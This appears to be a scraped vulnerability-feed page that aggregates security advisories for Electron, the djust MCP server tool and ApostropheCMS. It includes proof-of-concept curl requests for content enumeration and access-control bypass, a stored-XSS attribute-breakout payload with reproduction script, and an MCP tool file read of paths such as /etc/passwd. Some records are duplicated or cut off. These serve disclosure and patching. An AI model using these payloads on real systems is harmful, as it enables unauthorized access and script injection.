GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113800&date=2026-10-25
### Impact
For `hid` and `usb` permission checks made from an iframe, `session.setPermissionCheckHandler` was given the top-level frame's origin and details instead of the requesting frame's. Apps that allow these permissions based on origin could grant an embedded frame access intended for the top-level page.

You're only affected if you use `setPermissionCheckHandler` with origin-based logic for `hid` or `usb` and embed cross-origin iframes with `allow="hid"` or `allow="usb"`. Apps that don't delegate those features to untrusted iframes are not affected.

### Workarounds
Don't add `allow="hid"` / `allow="usb"` to untrusted iframes, or make the decision in your `select-hid-device` / `select-usb-device` handler using `details.frame`.

### Fixed Versions
* `45.0.0-alpha.5`
* `44.3.0`
* `43.7.0`
* `42.11.3`

### For more information
If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)

Affected package ranges reported by GitHub:
electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.5
electron: >= 44.0.0-alpha.1, < 44.3.0
electron: >= 43.0.0-alpha.1, < 43.7.0
electron: < 42.11.3
Action: GitHub lists first patched versions: electron: 45.0.0-alpha.5; electron: 44.3.0; electron: 43.7.0; electron: 42.11.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
https://kevwire.com/record/CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool (Oct 21, 2026).
This is inconsistent with the sibling tool in the same file (loaddata, ~line 290-303), which explicitly rejects paths outside the project directory for its own path-like parameter:
```
candidate = os.path.realpath(...)
if base_dir and not candidate.startswith(os.path.realpath(str(base_dir))):
 return json.dumps({"error": f"fixture path '{p}' resolves outside the project directory", ...})
```
find_handlers_for_template has no equivalent check for template_path before the open() call.

Mitigating factor (reduces this from High to Medium): the tool does not return the raw file content. It runs one fixed regex (dj-(?:click|submit|change|input|keydown|keyup)\s*=\s*['"]([^'"]+)['"]) against the content and returns only the matched handler-name strings, plus confirmation that the file exists and is readable (an existence/readability oracle on its own, independent of the regex match). If the targeted file happens to contain text matching that HTML-attribute-like pattern (plausible for config files, logs, or any text file with key="value"-shaped content), those substrings are returned in full — so the read is not purely blind, but it is not a general-purpose arbitrary-file-read primitive either.
CVSS 3.3 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-r57g-mc79-8hj2).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113731&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-r57g-mc79-8hj2: https://github.com/advisories/GHSA-r57g-mc79-8hj2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113731&date=2026-10-25
### Affected version / file / line
Version: djust v1.1.4 (latest release, published 2026-09-23). File: python/djust/mcp/server.py:354-433 (MCP tool find_handlers_for_template). Confirmed identical on the commit used for triage, a7e4fafd1667b4db0b1465652d4a63cb17117a07.

### Description
```
@mcp.tool()
def find_handlers_for_template(template_path: str) -> str:
 """
 Args:
 template_path: Either a logical template name (e.g.
 'demos/counter.html' — what you'd pass to `render`) OR
 an absolute filesystem path. Both are searched.
 """
 ...
 resolved_path: str | None = None
 if os.path.isabs(template_path) and os.path.isfile(template_path):
 resolved_path = template_path
 else:
 ... # logical-name resolution via Django's template loader
 ...
 with open(resolved_path, "r", encoding="utf-8", errors="replace") as f:
 source = f.read()
 handler_names_in_template = sorted({m.group(2) for m in dj_event_attr_re.finditer(source)})
```
When template_path is an absolute path to an existing file, it is used directly, with no confinement to the project/template directories — no realpath() + prefix check, no allowlist. open(resolved_path, ...) then reads the file.

This is inconsistent with the sibling tool in the same file (loaddata, ~line 290-303), which explicitly rejects paths outside the project directory for its own path-like parameter:
```
candidate = os.path.realpath(...)
if base_dir and not candidate.startswith(os.path.realpath(str(base_dir))):
 return json.dumps({"error": f"fixture path '{p}' resolves outside the project directory", ...})
```
find_handlers_for_template has no equivalent check for template_path before the open() call.

### Impact
An MCP client with access to this tool (available whenever the Django project is running the MCP server via python manage.py djust_mcp — no separate opt-in flag gates this specific tool beyond that) can read the contents of any file on disk that the process has read permission to and that exists, by passing an absolute path — e.g. /etc/passwd, application .env files, SSH keys, or any other sensitive file reachable by the server process's user.

Mitigating factor (reduces this from High to Medium): the tool does not return the raw file content. It runs one fixed regex (dj-(?:click|submit|change|input|keydown|keyup)\s*=\s*['"]([^'"]+)['"]) against the content and returns only the matched handler-name strings, plus confirmation that the file exists and is readable (an existence/readability oracle on its own, independent of the regex match). If the targeted file happens to contain text matching that HTML-attribute-like pattern (plausible for config files, logs, or any text file with key="value"-shaped content), those substrings are returned in full — so the read is not purely blind, but it is not a general-purpose arbitrary-file-read primitive either.

Proof of Concept / Reproduction
Traced via direct source read; no live Django project was exercised for this report (would require a full djust project scaffold, which was out of scope for this pass — see limitation below).

1. MCP client calls: find_handlers_for_template(template_path="/etc/passwd")
2. server.py ~line 393:
 ```
 if os.path.isabs(template_path) and os.path.isfile(template_path):
 resolved_path = template_path
 ```
 resolved_path == "/etc/passwd", unchanged, unconfined
3. server.py ~line 430:
 ```
 with open(resolved_path, "r", encoding="utf-8", errors="replace") as f:
 source = f.read()
 ```
 /etc/passwd is now fully read into `source`
4. The regex dj_event_attr_re.finditer(source) is applied to the real
 /etc/passwd content. /etc/passwd will not match this specific pattern, so
 the response would report an empty handler list plus "file exists and was
 read" - which already confirms the path-confinement bypass (compare with
 passing a nonexistent absolute path, which correctly returns
 "Template file not found").
5. On a target where the absolute path points to a file that DOES contain
 text shaped like `dj-click="..."` (e.g. a copied HTML fragment, a stray
 config value, or a crafted file placed by the attacker via another
 vector), the matched substrings are returned verbatim in the JSON
 response - full-content disclosure of just those substrings, not the
 whole file.

### Suggested Fix
Apply the same confinement loaddata already uses, before the os.path.isfile check:
```
if os.path.isabs(template_path):
 candidate = os.path.realpath(template_path)
 if base_dir and not candidate.startswith(os.path.realpath(str(base_dir))):
 return json.dumps({
 "error": f"template path '{template_path}' resolves outside the project directory",
 "resolved": candidate,
 "project_dir": str(base_dir),
 })
 if os.path.isfile(candidate):
 resolved_path = candidate
```
### Limitations
Not exercised against a live Django/djust project — this is a source-level trace of the exact executed branch (os.path.isabs + os.path.isfile + open()), not an end-to-end runtime capture.
Did not verify whether any MCP-host-level confirmation/approval step (some MCP clients prompt the user before a tool call with a suspicious-looking path argument) would intercept this in practice - the vulnerability is in the server's own missing server-side guard regardless of client-side UX.

### Disclosure Timeline
2026-09-24: found during audit, confirmed via source trace to the open() sink; classified Medium due to the response-content limitation (matched substrings only, not raw file content).
Please check the log file, and apply CVE once the fix is made.

```
log:
10 14:53:20.185935 openat(AT_FDCWD, "/case/project/templates/nonexistent_inside_project.html", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
10 14:53:20.187205 write(1, "{\"error\": \"Could not resolve tem"..., 204) = 204
 ...
10 14:53:20.191831 write(1, "=== ATTACK: absolute path OUTSID"..., 57) = 57
10 14:53:20.194864 write(1, "target path:", 12) = 12
10 14:53:20.198521 write(1, "/case/outside/evil_content.html", 31) = 31
10 14:53:20.202290 newfstatat(AT_FDCWD, "/cas

Affected package ranges reported by GitHub:
djust: >= 0.9.0, <= 1.0.9
djust: >= 1.1.0, <= 1.1.6
djust: >= 1.2.0.dev0, <= 1.2.3
djust: >= 1.3.0.dev0, <= 1.3.0rc7
Action: GitHub lists first patched versions: djust: 1.0.10; djust: 1.1.7; djust: 1.2.4; djust: 1.3.0rc8. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user
https://kevwire.com/record/CVE-2026-112952
ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user (Oct 21, 2026).
A single authenticated session can iterate the slug space to enumerate the full content
inventory of the CMS, including content the user is explicitly prohibited from viewing.

curl -b "$EDITOR_JAR" -X POST \
 -H "Content-Type: application/json" \
 -d '{"slug":"zzz-nonexistent"}' \
 "http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": false }
```
CVSS 4.3 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-f66c-mpj2-3r8h).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112952&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-f66c-mpj2-3r8h: https://github.com/advisories/GHSA-f66c-mpj2-3r8h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112952&date=2026-10-25
### Summary
The `slugTaken` endpoint returns a boolean indicating whether a slug is in use across
all document types and visibility levels, with no permission or type filter. Any logged-in
user (including editors) can enumerate the slug space of private pages, drafts, and
archived content.

### Details
`POST /api/v1/@apostrophecms/doc/slugTaken` with body `{ "slug": "target-slug" }` runs
a raw existence check against the documents collection. It does not:
- Check whether the requesting user has read permission for documents of that type.
- Filter by `visibility` (public, loginRequired, private).
- Filter by `viewRole`.
- Filter by publication status (draft vs published).

A single authenticated session can iterate the slug space to enumerate the full content
inventory of the CMS, including content the user is explicitly prohibited from viewing.

### PoC
```bash
# Any authenticated session works — editor role sufficient
curl -b "$EDITOR_JAR" -X POST \
 -H "Content-Type: application/json" \
 -d '{"slug":"known-private-page-slug"}' \
 "http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": true } — confirms private page exists

curl -b "$EDITOR_JAR" -X POST \
 -H "Content-Type: application/json" \
 -d '{"slug":"zzz-nonexistent"}' \
 "http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": false }
```

### Impact
Information disclosure. An attacker with any authenticated session can enumerate all
slugs in the system, mapping the full content structure of the CMS including private and
admin-only content.

Affected package ranges reported by GitHub:
apostrophe: < 4.34.0
Action: GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: GET /api/v1/@apostrophecms/page/:id bypasses viewRole restriction and exposes viewPermission-gated fields to lower-privileged users
https://kevwire.com/record/CVE-2026-112957
ApostropheCMS: GET /api/v1/@apostrophecms/page/:id bypasses viewRole restriction and exposes viewPermission-gated fields to lower-privileged users (Oct 21, 2026).
A page type declared with `viewRole: 'admin'` is inaccessible via `GET
/api/v1/@apostrophecms/page?type=secretPage` (returns 403 to an editor) but is fully
returned by `GET /api/v1/@apostrophecms/page/:id:en:published` to the same editor.

**Finding 4 — viewPermission field leak:**
Fields decorated with `viewPermission: { action: 'edit', type: '@apostrophecms/page' }`
are stripped by `removeForbiddenFields` in the `getAll` path but are returned verbatim
in `getOne`. An editor who knows any document `_id` can read all
`viewPermission`-restricted fields.
CVSS 4.3 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-vh56-5m88-39rq).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112957&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vh56-5m88-39rq: https://github.com/advisories/GHSA-vh56-5m88-39rq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112957&date=2026-10-25
### Summary
The `getOne` REST endpoint for pages does not apply `viewRole` type-level restrictions
or `viewPermission` field-level redaction. An editor-level user who knows a document
`_id` can read the full content of admin-only pages and their privileged fields, while
the `getAll` endpoint correctly enforces both restrictions.

### Details
**Finding 3 — viewRole bypass:**
`modules/@apostrophecms/page/index.js` exposes `getRestQuery(req, omitPermissionCheck =
false)`. The `getAll` path calls `publicApiCheckAsync` and threads the full query builder
pipeline including `viewRole` filtering. The `getOne` path uses a divergent code path
that skips this pipeline.

A page type declared with `viewRole: 'admin'` is inaccessible via `GET
/api/v1/@apostrophecms/page?type=secretPage` (returns 403 to an editor) but is fully
returned by `GET /api/v1/@apostrophecms/page/:id:en:published` to the same editor.

**Finding 4 — viewPermission field leak:**
Fields decorated with `viewPermission: { action: 'edit', type: '@apostrophecms/page' }`
are stripped by `removeForbiddenFields` in the `getAll` path but are returned verbatim
in `getOne`. An editor who knows any document `_id` can read all
`viewPermission`-restricted fields.

### PoC
```bash
# Log in as editor, get session jar
EDITOR_JAR="..."

# getAll — correctly blocked
curl -b "$EDITOR_JAR" \
 "http://TARGET/api/v1/@apostrophecms/page?type=secretPage"
# → 403 Forbidden

# getOne — bypassed, returns full document including viewPermission fields
curl -b "$EDITOR_JAR" \
 "http://TARGET/api/v1/@apostrophecms/page/ADMIN_PAGE_ID:en:published"
# → 200 OK, full doc including secretField value
```

### Impact
Editors can read the full content of any page — including those restricted to admins via
`viewRole` — if they know or can guess the `_id`. Sensitive field values gated by
`viewPermission` are also fully exposed. This breaks the content access control model
for any site using these decorators.

Affected package ranges reported by GitHub:
apostrophe: < 4.34.0
Action: GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization
https://kevwire.com/record/CVE-2026-112958
ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization (Oct 21, 2026).
ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style="..."` attribute without HTML-attribute escaping.

An attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.
CVSS 5.4 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-7jg5-frgc-c67w).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112958&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-7jg5-frgc-c67w: https://github.com/advisories/GHSA-7jg5-frgc-c67w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112958&date=2026-10-25
## Summary

ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style="..."` attribute without HTML-attribute escaping.

An attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.

This is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a ` ` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes.

## Details

### Root Cause 1: Free-form string style values retain HTML metacharacters

The standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context:

[`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333)

```javascript
self.addFieldType({
 name: 'string',
 // ...
 convert(req, field, data, destination) {
 destination[field.name] = self.apos.launder.string(data[field.name]);
 destination[field.name] = checkStringLength(
 destination[field.name],
 field.min,
 field.max
 );
 }
});
```

Quotes therefore remain in a value supplied through a style field.

### Root Cause 2: The value is converted into inline CSS without value validation

For a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:

[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228)

[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647)

```javascript
rule = `${property}: ${normalized.value}${normalized.unit}`;

// ...

if (isInline) {
 return {
 css: '',
 classes: [ ...storage.classes ],
 inline: stringifyRules(storage.styles, true)
 };
}
```

For example, the value below becomes part of a `font-family` declaration:

```text
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
```

### Root Cause 3: Attribute values are serialized without HTML escaping

`getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key="value"` without encoding `&`, ` `, `'`, or `"`:

[`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322)

```javascript
if (styleParts.length) {
 attrs.push(
 [ 'style', `${styleParts.join(';')};` ]
 );
}

if (options.asObject) {
 return Object.fromEntries(attrs);
}

return attrs
 .map(([ key, value ]) => `${key}="${value}"`)
 .join(' ');
```

The same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class="..."`. The inline-property path was the path dynamically verified.

### Root Cause 4: The unsafe string is used by the automatic public wrapper

Styled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget:

[`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457)

```javascript
if (hasStyles && self.options.stylesWrapper !== false) {
 const styles = self.apos.styles.prepareWidgetStyles(widget);
 const styleTag = self.apos.styles
 .getWidgetElements(styles, { scene: req.scene });
 const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);

 return `${styleTag} ${markup}

`;
}
```

Consequently, the injected attribute is present on normal public page renders, not only in the editor UI.

### Why the CVE-2026-33889 defense does not prevent this variant

The sibling advisory led to a defense in `getWidgetElements()` that rewrites ` ` element:

```javascript
css = css.replaceAll(' {
 const { renderScopedStyles } = await import(
 './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
 );

 const payload =
 'serif" tabindex="0" autofocus ' +
 'onfocus="document.body.dataset.inline=\'executed\'';

 const styles = renderScopedStyles(
 [ {
 name: 'customFont',
 type: 'string',
 property: 'font-family'
 } ],
 { customFont: payload }
 );

 Object.assign(styles, {
 styleId: 'audit-inline',
 widgetId: 'widget-1'
 });

 const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
 console.log('inline:', styles.inline);
 console.log('attributes:', attrs);
})();
```

### Step 4: Observe the unsafe HTML

The current renderer produced:

```text
inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';
```

The serializer then produced an attribute string equivalent to:

```html
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-styl

Affected package ranges reported by GitHub:
apostrophe: < 4.34.0
Action: GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Missing Authentication in `cleanExport` Route
https://kevwire.com/record/CVE-2026-113648
ApostropheCMS: Missing Authentication in `cleanExport` Route (Oct 21, 2026).
---

---
CVSS 3.1 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-rw26-wwfc-9wvm).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113648&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-rw26-wwfc-9wvm: https://github.com/advisories/GHSA-rw26-wwfc-9wvm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
